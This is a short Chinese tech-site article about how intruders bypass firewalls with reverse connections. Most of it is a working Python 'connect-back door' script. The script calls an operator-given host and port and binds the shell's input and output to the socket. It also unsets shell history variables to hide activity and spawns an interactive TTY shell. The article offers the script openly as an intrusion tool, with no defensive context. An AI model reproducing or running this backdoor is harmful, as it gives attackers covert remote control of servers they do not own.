看黑客如何用python编写ttyshell的反向链接后门

安全 网站安全
小雨写的一个,替代之前的perl版本的,可以直接返回ttyshell。返回的shell可以直接ssh,su等操作。

很多入侵者都会在正面遇到防火墙之后,采用反向链接的方法控制远程服务器。早期大家都用perl或c代码写。现在大家都与时俱进了,用python写了。代码量减少很多啊。

小雨写的一个,替代之前的perl版本的,可以直接返回ttyshell。返回的shell可以直接ssh,su等操作。

代码如下:


#!/usr/bin/python
import sys
import os
import socket
import pty

shell = "/bin/sh"

def usage(programname):
print "ython connect-back door"
print "Usage: %s " % programname

def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit(1)

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:
s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
print "[+]Connect OK."
except:
print "[-]Can't connect"
sys.exit(2)

os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
pty.spawn(shell)
s.close()

if __name__ == "__main__":
main()

【编辑推荐】

责任编辑:王文文 来源: hi.baidu.com
相关推荐

2010-09-09 19:43:29

2009-07-19 10:01:37

linuxlinux安全后门

2018-12-06 08:40:43

PythonR函数编程语言

2011-09-05 17:11:51

2019-01-02 13:11:53

GO语言缓存

2011-11-25 15:34:33

2017-12-05 10:40:33

Python子域名

2016-04-05 16:10:13

2010-01-18 10:01:56

2011-05-10 12:32:56

搜索引擎反向链接

2011-05-10 12:55:13

反向链接

2009-08-27 17:57:54

2011-05-10 10:58:00

反向链接SEO

2022-04-27 15:55:40

黑客漏洞网络攻击

2010-06-12 09:48:17

2011-05-10 12:25:24

反向链接

2009-09-07 11:25:25

2009-03-14 16:03:50

AccessMSSQL漏洞

2017-06-29 11:11:17

2018-03-27 18:12:12

PythonHTML
点赞
收藏

51CTO技术栈公众号